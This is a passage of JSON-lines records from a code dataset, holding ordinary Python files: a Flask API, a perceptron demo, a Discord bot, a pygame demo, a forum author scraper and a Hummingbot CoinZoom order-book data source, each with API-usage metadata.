{"api_name": "fields.IntAsHex", "line_number": 27, "usage_type": "call"}, {"api_name": "dataclasses.field", "line_number": 28, "usage_type": "call"}, {"api_name": "fields.IntAsHex", "line_number": 28, "usage_type": "call"}, {"api_name": "dataclasses.field", "line_number": 29, "usage_type": "call"}, {"api_name": "fields.IntAsStr", "line_number": 29, "usage_type": "call"}, {"api_name": "starkware.error_handling.stark_assert", "line_number": 32, "usage_type": "call"}, {"api_name": "starkware.error_handling.StarkMsg.OUT_OF_RANGE_BALANCE", "line_number": 34, "usage_type": "attribute"}, {"api_name": "starkware.error_handling.StarkMsg", "line_number": 34, "usage_type": "name"}, {"api_name": "starkware.error_handling.stark_assert_ne", "line_number": 40, "usage_type": "call"}, {"api_name": "starkware.error_handling.StarkMsg.INVALID_VAULT", "line_number": 40, "usage_type": "attribute"}, {"api_name": "starkware.error_handling.StarkMsg", "line_number": 40, "usage_type": "name"}, {"api_name": "starkware.error_handling.stark_assert_ne", "line_number": 42, "usage_type": "call"}, {"api_name": "starkware.error_handling.StarkMsg.INVALID_VAULT", "line_number": 42, "usage_type": "attribute"}, {"api_name": "starkware.error_handling.StarkMsg", "line_number": 42, "usage_type": "name"}, {"api_name": "starkware.error_handling.stark_assert_eq", "line_number": 56, "usage_type": "call"}, {"api_name": "starkware.error_handling.StarkMsg.INVALID_VAULT", "line_number": 56, "usage_type": "attribute"}, {"api_name": "starkware.error_handling.StarkMsg", "line_number": 56, "usage_type": "name"}, {"api_name": "starkware.error_handling.stark_assert_eq", "line_number": 58, "usage_type": "call"}, {"api_name": "starkware.error_handling.StarkMsg.INVALID_VAULT", "line_number": 58, "usage_type": "attribute"}, {"api_name": "starkware.error_handling.StarkMsg", "line_number": 58, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 25, "usage_type": "name"}, {"api_name": "starkware.storage.Fact", "line_number": 66, "usage_type": "name"}, {"api_name": "typing.ClassVar", "line_number": 67, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 67, "usage_type": "name"}, {"api_name": "marshmallow.Schema", "line_number": 67, "usage_type": "attribute"}, {"api_name": "typing.Callable", "line_number": 76, "usage_type": "name"}, {"api_name": "typing.Awaitable", "line_number": 76, "usage_type": "name"}, {"api_name": "starkware.storage.HASH_BYTES", "line_number": 77, "usage_type": "argument"}, {"api_name": "starkware.storage.HASH_BYTES", "line_number": 78, "usage_type": "argument"}, {"api_name": "starkware.storage.HASH_BYTES", "line_number": 79, "usage_type": "argument"}, {"api_name": "marshmallow_dataclass.dataclass", "line_number": 65, "usage_type": "attribute"}, {"api_name": "dataclasses.dataclass", "line_number": 86, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 95, "usage_type": "call"}, {"api_name": "fields.IntAsStr", "line_number": 95, "usage_type": "call"}, {"api_name": "starkware.error_handling.stark_assert", "line_number": 98, "usage_type": "call"}, {"api_name": "starkware.error_handling.StarkMsg.INVALID_FULFILLED_AMOUNT", "line_number": 100, "usage_type": "attribute"}, {"api_name": "starkware.error_handling.StarkMsg", "line_number": 100, "usage_type": "name"}, {"api_name": "starkware.error_handling.stark_assert", "line_number": 108, "usage_type": "call"}, {"api_name": "starkware.error_handling.StarkMsg.OUT_OF_RANGE_DIFF", "line_number": 110, "usage_type": "attribute"}, {"api_name": "starkware.error_handling.StarkMsg", "line_number": 110, "usage_type": "name"}, {"api_name": "starkware.error_handling.stark_assert_le", "line_number": 112, "usage_type": "call"}, {"api_name": "starkware.error_handling.StarkMsg.CONFLICTING_SETTLEMENT_AMOUNTS", "line_number": 114, "usage_type": "attribute"}, {"api_name": "starkware.error_handling.StarkMsg", "line_number": 114, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 93, "usage_type": "name"}, {"api_name": "starkware.storage.Fact", "line_number": 120, "usage_type": "name"}, {"api_name": "typing.ClassVar", "line_number": 121, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 121, "usage_type": "name"}, {"api_name": "marshmallow.Schema", "line_number": 121, "usage_type": "attribute"}, {"api_name": "typing.Callable", "line_number": 130, "usage_type": "name"}, {"api_name": "typing.Awaitable", "line_number": 130, "usage_type": "name"}, {"api_name": "starkware.storage.HASH_BYTES", "line_number": 131, "usage_type": "argument"}, {"api_name": "marshmallow_dataclass.dataclass", "line_number": 119, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 140, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 141, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 150, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 151, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 154, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 155, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 138, "usage_type": "name"}]} +{"seq_id": "885429089", "text": "from flask import Flask\nfrom flask import request\n\nfrom app.services.product import Product\nfrom app.services.review import Review\n\napplication = Flask(__name__)\n\n\n@application.route(\"/products/\", methods=[\"GET\"])\ndef return_product(product_id):\n product = Product().return_product(product_id)\n return f\"{product}\"\n\n\n@application.route(\"/products//reviews\", methods=[\"PUT\"])\ndef save_product(product_id):\n user_date = request.get_json()\n dict_ = Review().create_new_review(product_id, user_date)\n return dict_\n\n\nif __name__ == \"__main__\":\n application.run(host=\"0.0.0.0\", port=8080)\n", "repo_name": "VTerletskyi/Flask", "sub_path": "app/api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 625, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "app.services.product.Product", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 18, "usage_type": "name"}, {"api_name": "app.services.review.Review", "line_number": 19, "usage_type": "call"}]} +{"seq_id": "14340376076", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 09 19:37:16 2017\n\n@author: Christophe\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n#%% Perceptron model\n# Simulates two data clouds samples from two different uniform distributions\n# Then runs the perceptron learning algorithm to obtain a line that separates the\n# Generate some random data\nn_samples= 30\ncluster_A = np.random.uniform(-2.0,-1.0,(n_samples,2))\ncluster_B = np.random.uniform(-0.5, 1.5,(n_samples,2))\ntarget_values = np.concatenate((np.ones((n_samples,1)),-1*np.ones((n_samples,1))))\n\ndata_points = np.concatenate((cluster_A,cluster_B),0)\ndata_points = np.concatenate((data_points,target_values),1)\n\n# Run the perceptron learning algorithm\nw_1 = np.random.randn(1,2)\nu_1 = np.random.randn(1,1)\neps = 0.012\nn_steps = 10\ntraining_error = np.zeros(n_steps)\n\nfor training_step in range(n_steps):\n for p in data_points:\n v = np.sign(w_1.dot(p[:2]) - u_1)\n v_d = p[2]\n \n delta_w = eps*(v_d-v)*p[:2]\n delta_u = -eps*(v_d-v)\n \n w_1 += delta_w\n u_1 += delta_u\n \n training_error[training_step] += (v_d-v)**2/(n_samples*2)\n\n# Compute line for plotting the separating hyperplane\nx_0 = -2.5; x_1 = 2.0\ny_0 = np.squeeze(u_1/w_1[0,1] - w_1[0,0]*x_0/w_1[0,1])\ny_1 = np.squeeze(u_1/w_1[0,1] - w_1[0,0]*x_1/w_1[0,1])\n\n# Produce some plots\nplt.clf()\nplt.subplot(1,2,1)\nplt.scatter(cluster_A[:,0],cluster_A[:,1],color = 'r')\nplt.scatter(cluster_B[:,0],cluster_B[:,1],color = 'g')\nplt.axhline(0,color='k')\nplt.axvline(0,color='k')\nplt.plot([x_0,x_1],[y_0,y_1],color = 'k')\nplt.title('Input space')\nplt.xlim((-2.0,1.5))\n\nplt.subplot(1,2,2)\nplt.plot(training_error)\nplt.title('Training error')\nplt.xlabel('Training step')\nplt.ylabel('SSE')\n\n#%% Multilayer perceptron model for the XOR function\ninput_array = np.array([ [ 1.0, 1.0],\n [ 1.0,-1.0],\n [-1.0, 1.0],\n [-1.0,-1.0]])\nT = np.array([1.0, -1.0, -1.0, 1.0])\n\nu_h = -1\nu_o = 1\nw_ih = np.array([ 1.0, 1.0])\nw_io = np.array([-1.0,-1.0])\nw_ho = np.array([ 2.0])\n\nfor i in range(len(T)):\n h = np.sign(w_ih.dot(input_array[i])-u_h)\n o = np.sign(w_io.dot(input_array[i]) + w_ho*h - u_o)\n print(\"Desired output: \" + str(T[i]) + \", computed output: \" + str(o[0]))", "repo_name": "computational-neuroscience/Computational-Neuroscience-UW", "sub_path": "week-08/perceptron_classifiers.py", "file_name": "perceptron_classifiers.py", "file_ext": "py", "file_size_in_byte": 2312, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 126, "dataset": "github-code", "pt": "85", "api": [{"api_name": "numpy.random.uniform", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 80, "usage_type": "call"}]} +{"seq_id": "72996165399", "text": "import os\nimport yaml\nimport discord\nfrom discord.ext import commands\nfrom oaiapi import OAI817\nfrom discordgpt.add_commands import BotCommands\n\nclass BU1LDaB07(commands.Bot):\n def __init__(self, config_path, *args, **kwargs):\n with open(config_path) as config_file:\n self.config = yaml.safe_load(config_file)\n\n super().__init__(command_prefix=self.config[\"key_trigger\"], *args, **kwargs)\n self.build_a_bot_bit_by_bit = OAI817(self.config)\n\n @commands.Cog.listener()\n async def on_ready(self):\n print(f\"We're serving looks and sass as {self.user.name} (ID: {self.user.id})\")\n\n target_channel = self.get_channel(self.config[\"hello_channel_id\"])\n\n if target_channel:\n await target_channel.send(\"I'm home! Did you miss me?!\")\n else:\n print(f\"Could not find channel with ID {self.config['hello_channel_id']}\")\n\n @commands.Cog.listener()\n async def on_message(self, message):\n if message.author == self.user:\n return\n await self.process_commands(message)\n\n def add_commands(self, commands_list):\n BotCommands(self, self.config[\"color\"], commands_list)\n\n# This is a common Python idiom to differentiate between running a script as the main program and importing it as a module.\nif __name__ == \"__main__\":\n bot = BU1LDaB07(\"config/bot_config.yaml\")\n bot.add_commands([\"test\", \"hello\", \"gpt\"]) # Example usage of the add_commands method\n bot.run(bot.config[\"discord_token\"])\n# If the file is being imported as a module in another script, this block of code won't be executed.\n", "repo_name": "cisnez/DiscordGPT", "sub_path": "discordgpt/build_my_bot.py", "file_name": "build_my_bot.py", "file_ext": "py", "file_size_in_byte": 1610, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "discord.ext.commands.Bot", "line_number": 8, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 8, "usage_type": "name"}, {"api_name": "yaml.safe_load", "line_number": 11, "usage_type": "call"}, {"api_name": "oaiapi.OAI817", "line_number": 14, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog.listener", "line_number": 16, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 16, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 16, "usage_type": "name"}, {"api_name": "discord.ext.commands.Cog.listener", "line_number": 27, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 27, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 27, "usage_type": "name"}, {"api_name": "discordgpt.add_commands.BotCommands", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "20601638835", "text": "import pygame, sys\r\npygame.init()\r\nwindow = pygame.display.set_mode((500,500))\r\npygame.display.set_caption(\"wasans\")\r\nclock = pygame.time.Clock()\r\n\r\nclass character :\r\n def __init__(self):\r\n self.x = 50\r\n self.y = 50\r\n\r\n def draw(self):\r\n pygame.draw.rect(window, (147,125,255), [self.x,self.y,20,20])\r\nsaebin = character()\r\n\r\nwhile True:\r\n window.fill((0,0,0))\r\n\r\n saebin.draw()\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_w:\r\n saebin.y -= 10\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_s:\r\n saebin.y += 10\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_a:\r\n saebin.x -= 10 \r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_d:\r\n saebin.x += 10\r\n pygame.display.update()\r\n clock.tick(30)", "repo_name": "saesaebin/applepy", "sub_path": "사과.py", "file_name": "사과.py", "file_ext": "py", "file_size_in_byte": 1050, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "pygame.init", "line_number": 2, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 3, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 3, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 4, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 4, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 5, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 20, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 22, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.KEYDOWN", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygame.K_w", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pygame.K_s", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pygame.K_a", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pygame.K_d", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 36, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 36, "usage_type": "attribute"}]} +{"seq_id": "8887630410", "text": "import requests\nfrom bs4 import BeautifulSoup\n\ndef start(url):\n pagenumlist = []\n hreflist = []\n content = requests.get(url)\n soup = BeautifulSoup(content.text, 'html.parser')\n\n for link in soup.find_all('ul', {'class': 'topic-list'}):\n for topic in link.find_all('a'):\n href = 'https://eksisozluk.com' + topic.get('href')\n hreflist.append(href)\n # print(href)\n\n for pagenumber in soup.find_all('small'):\n pagenumlist.append(pagenumber.string)\n # print(pagenumber.string)\n\n zippo = zip(hreflist, pagenumlist)\n\n for a, b in zippo:\n max_page = 1\n print(a + \" \" + b)\n while max_page <= int(b):\n topic_url = a + '&p=' + str(max_page)\n source_code = requests.get(topic_url)\n soup_author = BeautifulSoup(source_code.text, 'html.parser')\n for author_list in soup_author.find_all('a', {'class': 'entry-author'}):\n print(author_list.string)\n max_page += 1\n continue\n\nstart('http://www.eksisozluk.com')\n", "repo_name": "esckaraca/eksisozluk-scraping", "sub_path": "eksisozluk-authorlist.py", "file_name": "eksisozluk-authorlist.py", "file_ext": "py", "file_size_in_byte": 1069, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "85", "api": [{"api_name": "requests.get", "line_number": 7, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 8, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 27, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 28, "usage_type": "call"}]} +{"seq_id": "7203962093", "text": "#!/usr/bin/env python\nimport asyncio\nimport logging\nimport time\nimport pandas as pd\nfrom decimal import Decimal\nfrom typing import Optional, List, Dict, Any\n\nfrom hummingbot.core.api_throttler.async_throttler import AsyncThrottler\nimport hummingbot.connector.exchange.coinzoom.coinzoom_http_utils as http_utils\nfrom .coinzoom_utils import (\n convert_to_exchange_trading_pair,\n convert_from_exchange_trading_pair,\n CoinzoomAPIError,\n)\n\nfrom hummingbot.core.data_type.order_book import OrderBook\nfrom hummingbot.core.data_type.order_book_message import OrderBookMessage\nfrom hummingbot.core.data_type.order_book_tracker_data_source import OrderBookTrackerDataSource\nfrom hummingbot.logger import HummingbotLogger\nfrom .coinzoom_constants import Constants\nfrom .coinzoom_active_order_tracker import CoinzoomActiveOrderTracker\nfrom .coinzoom_order_book import CoinzoomOrderBook\nfrom .coinzoom_websocket import CoinzoomWebsocket\n\n\nclass CoinzoomAPIOrderBookDataSource(OrderBookTrackerDataSource):\n _logger: Optional[HummingbotLogger] = None\n\n @classmethod\n def logger(cls) -> HummingbotLogger:\n if cls._logger is None:\n cls._logger = logging.getLogger(__name__)\n return cls._logger\n\n def __init__(self, throttler: Optional[AsyncThrottler] = None, trading_pairs: List[str] = None):\n super().__init__(trading_pairs)\n self._throttler: AsyncThrottler = throttler\n self._throttler = throttler or self._get_throttler_instance()\n self._trading_pairs: List[str] = trading_pairs\n self._snapshot_msg: Dict[str, any] = {}\n\n def _time(self):\n \"\"\" Function created to enable patching during unit tests execution.\n :return: current time\n \"\"\"\n return time.time()\n\n @classmethod\n def _get_throttler_instance(cls) -> AsyncThrottler:\n throttler = AsyncThrottler(Constants.RATE_LIMITS)\n return throttler\n\n @classmethod\n async def get_last_traded_prices(cls,\n trading_pairs: List[str],\n throttler: Optional[AsyncThrottler] = None) -> Dict[str, Decimal]:\n throttler = throttler or CoinzoomAPIOrderBookDataSource._get_throttler_instance()\n results = {}\n tickers: List[Dict[Any]] = await http_utils.api_call_with_retries(\"GET\",\n Constants.ENDPOINT[\"TICKER\"],\n throttler=throttler)\n for trading_pair in trading_pairs:\n ex_pair: str = convert_to_exchange_trading_pair(trading_pair, True)\n ticker: Dict[Any] = list([tic for symbol, tic in tickers.items() if symbol == ex_pair])[0]\n results[trading_pair]: Decimal = Decimal(str(ticker[\"last_price\"]))\n return results\n\n @staticmethod\n async def fetch_trading_pairs(throttler: Optional[AsyncThrottler] = None) -> List[str]:\n throttler = throttler or CoinzoomAPIOrderBookDataSource._get_throttler_instance()\n try:\n symbols: List[Dict[str, Any]] = await http_utils.api_call_with_retries(\n method=\"GET\",\n endpoint=Constants.ENDPOINT[\"SYMBOL\"],\n throttler=throttler)\n trading_pairs: List[str] = list([convert_from_exchange_trading_pair(sym[\"symbol\"]) for sym in symbols])\n # Filter out unmatched pairs so nothing breaks\n return [sym for sym in trading_pairs if sym is not None]\n except Exception:\n # Do nothing if the request fails -- there will be no autocomplete for CoinZoom trading pairs\n pass\n return []\n\n @staticmethod\n async def get_order_book_data(trading_pair: str, throttler: Optional[AsyncThrottler]) -> Dict[str, any]:\n \"\"\"\n Get whole orderbook\n \"\"\"\n throttler = throttler or CoinzoomAPIOrderBookDataSource._get_throttler_instance()\n try:\n ex_pair = convert_to_exchange_trading_pair(trading_pair, True)\n ob_endpoint = Constants.ENDPOINT[\"ORDER_BOOK\"].format(trading_pair=ex_pair)\n orderbook_response: Dict[Any] = await http_utils.api_call_with_retries(\n \"GET\",\n ob_endpoint,\n throttler=throttler,\n limit_id=Constants.REST_ORDERBOOK_LIMIT_ID)\n return orderbook_response\n except CoinzoomAPIError as e:\n err = e.error_payload.get('error', e.error_payload)\n raise IOError(\n f\"Error fetching OrderBook for {trading_pair} at {Constants.EXCHANGE_NAME}. \"\n f\"HTTP status is {e.error_payload['status']}. Error is {err.get('message', str(err))}.\")\n\n async def get_new_order_book(self, trading_pair: str) -> OrderBook:\n snapshot: Dict[str, Any] = await self.get_order_book_data(trading_pair, self._throttler)\n snapshot_timestamp: float = float(snapshot['timestamp'])\n snapshot_msg: OrderBookMessage = CoinzoomOrderBook.snapshot_message_from_exchange(\n snapshot,\n snapshot_timestamp,\n metadata={\"trading_pair\": trading_pair})\n order_book = self.order_book_create_function()\n active_order_tracker: CoinzoomActiveOrderTracker = CoinzoomActiveOrderTracker()\n bids, asks = active_order_tracker.convert_snapshot_message_to_order_book_row(snapshot_msg)\n order_book.apply_snapshot(bids, asks, snapshot_msg.update_id)\n return order_book\n\n async def listen_for_trades(self, ev_loop: asyncio.BaseEventLoop, output: asyncio.Queue):\n \"\"\"\n Listen for trades using websocket trade channel\n \"\"\"\n while True:\n try:\n ws = CoinzoomWebsocket(throttler=self._throttler)\n await ws.connect()\n\n for pair in self._trading_pairs:\n await ws.subscribe({Constants.WS_SUB[\"TRADES\"]: {'symbol': convert_to_exchange_trading_pair(pair)}})\n\n async for response in ws.on_message():\n msg_keys = list(response.keys()) if response is not None else []\n\n if not Constants.WS_METHODS[\"TRADES_UPDATE\"] in msg_keys:\n continue\n\n trade: List[Any] = response[Constants.WS_METHODS[\"TRADES_UPDATE\"]]\n trade[0] = convert_from_exchange_trading_pair(trade[0])\n trade_msg: OrderBookMessage = CoinzoomOrderBook.trade_message_from_exchange(trade)\n output.put_nowait(trade_msg)\n\n except asyncio.CancelledError:\n raise\n except Exception:\n self.logger().error(\"Unexpected error.\", exc_info=True)\n raise\n await asyncio.sleep(5.0)\n finally:\n await ws.disconnect()\n\n async def listen_for_order_book_diffs(self, ev_loop: asyncio.BaseEventLoop, output: asyncio.Queue):\n \"\"\"\n Listen for orderbook diffs using websocket book channel\n \"\"\"\n while True:\n try:\n ws = CoinzoomWebsocket(throttler=self._throttler)\n await ws.connect()\n\n order_book_methods = [\n Constants.WS_METHODS['ORDERS_SNAPSHOT'],\n Constants.WS_METHODS['ORDERS_UPDATE'],\n ]\n\n for pair in self._trading_pairs:\n ex_pair = convert_to_exchange_trading_pair(pair)\n ws_stream = {\n Constants.WS_SUB[\"ORDERS\"]: {\n 'requestId': ex_pair,\n 'symbol': ex_pair,\n 'aggregate': False,\n 'depth': 0,\n }\n }\n await ws.subscribe(ws_stream)\n\n async for response in ws.on_message():\n msg_keys = list(response.keys()) if response is not None else []\n\n method_key = [key for key in msg_keys if key in order_book_methods]\n\n if len(method_key) != 1:\n continue\n\n method: str = method_key[0]\n order_book_data: dict = response\n timestamp: int = int(self._time() * 1e3)\n pair: str = convert_from_exchange_trading_pair(response[method])\n\n order_book_msg_cls = (CoinzoomOrderBook.diff_message_from_exchange\n if method == Constants.WS_METHODS['ORDERS_UPDATE'] else\n CoinzoomOrderBook.snapshot_message_from_exchange)\n\n orderbook_msg: OrderBookMessage = order_book_msg_cls(\n order_book_data,\n timestamp,\n metadata={\"trading_pair\": pair})\n output.put_nowait(orderbook_msg)\n\n except asyncio.CancelledError:\n raise\n except Exception:\n self.logger().network(\n \"Unexpected error with WebSocket connection.\", exc_info=True,\n app_warning_msg=\"Unexpected error with WebSocket connection. Retrying in 30 seconds. \"\n \"Check network connection.\")\n await asyncio.sleep(30.0)\n finally:\n await ws.disconnect()\n\n async def listen_for_order_book_snapshots(self, ev_loop: asyncio.BaseEventLoop, output: asyncio.Queue):\n \"\"\"\n Listen for orderbook snapshots by fetching orderbook\n \"\"\"\n while True:\n try:\n for trading_pair in self._trading_pairs:\n try:\n snapshot: Dict[str, any] = await self.get_order_book_data(trading_pair,\n throttler=self._throttler)\n snapshot_msg: OrderBookMessage = CoinzoomOrderBook.snapshot_message_from_exchange(\n snapshot,\n snapshot['timestamp'],\n metadata={\"trading_pair\": trading_pair}\n )\n output.put_nowait(snapshot_msg)\n self.logger().debug(f\"Saved order book snapshot for {trading_pair}\")\n # Be careful not to go above API rate limits.\n await asyncio.sleep(5.0)\n except asyncio.CancelledError:\n raise\n except Exception:\n self.logger().network(\n \"Unexpected error with WebSocket connection.\", exc_info=True,\n app_warning_msg=\"Unexpected error with WebSocket connection. Retrying in 5 seconds. \"\n \"Check network connection.\")\n await asyncio.sleep(5.0)\n this_hour: pd.Timestamp = pd.Timestamp.utcnow().replace(minute=0, second=0, microsecond=0)\n next_hour: pd.Timestamp = this_hour + pd.Timedelta(hours=1)\n delta: float = next_hour.timestamp() - self._time()\n await asyncio.sleep(delta)\n except asyncio.CancelledError:\n raise\n except Exception:\n self.logger().error(\"Unexpected error.\", exc_info=True)\n await asyncio.sleep(5.0)\n", "repo_name": "HappyDream0317/hummingbot", "sub_path": "hummingbot/connector/exchange/coinzoom/coinzoom_api_order_book_data_source.py", "file_name": "coinzoom_api_order_book_data_source.py", "file_ext": "py", "file_size_in_byte": 11504, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "85", "api": [{"api_name": "hummingbot.core.data_type.order_book_tracker_data_source.OrderBookTrackerDataSource", "line_number": 27, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 28, "usage_type": "name"}, {"api_name": "hummingbot.logger.HummingbotLogger", "line_number": 28, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 33, "usage_type": "call"}, {"api_name": "hummingbot.logger.HummingbotLogger", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 36, "usage_type": "name"}, {"api_name": "hummingbot.core.api_throttler.async_throttler.AsyncThrottler", "line_number": 36, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 36, "usage_type": "name"}, {"api_name": "hummingbot.core.api_throttler.async_throttler.AsyncThrottler", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 41, "usage_type": "name"}, {"api_name": "time.time", "line_number": 47, "usage_type": "call"}, {"api_name": "hummingbot.core.api_throttler.async_throttler.AsyncThrottler", "line_number": 51, "usage_type": "call"}, {"api_name": "coinzoom_constants.Constants.RATE_LIMITS", "line_number": 51, "usage_type": "attribute"}, {"api_name": "coinzoom_constants.Constants", "line_number": 51, "usage_type": "name"}, {"api_name": "hummingbot.core.api_throttler.async_throttler.AsyncThrottler", "line_number": 50, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 56, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 57, "usage_type": "name"}, {"api_name": 